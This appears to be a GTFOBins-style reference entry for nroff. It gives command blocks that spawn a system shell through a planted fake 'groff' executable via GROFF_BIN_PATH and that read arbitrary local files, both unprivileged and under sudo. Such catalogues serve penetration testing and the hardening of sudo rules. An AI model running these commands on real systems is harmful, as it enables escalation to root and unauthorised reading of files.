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Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
echo /bin/sh >groff
chmod +x groff
GROFF_BIN_PATH=. nroff
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo /bin/sh >groff
chmod +x groff
GROFF_BIN_PATH=. nroff
```

File read

This executable can read data from local files.

Comment
The file is typeset and some warning messages may appear.
Unprivileged
This function can be performed by any unprivileged user.
```
nroff /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
nroff /path/to/input-file
```
Remarks
The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

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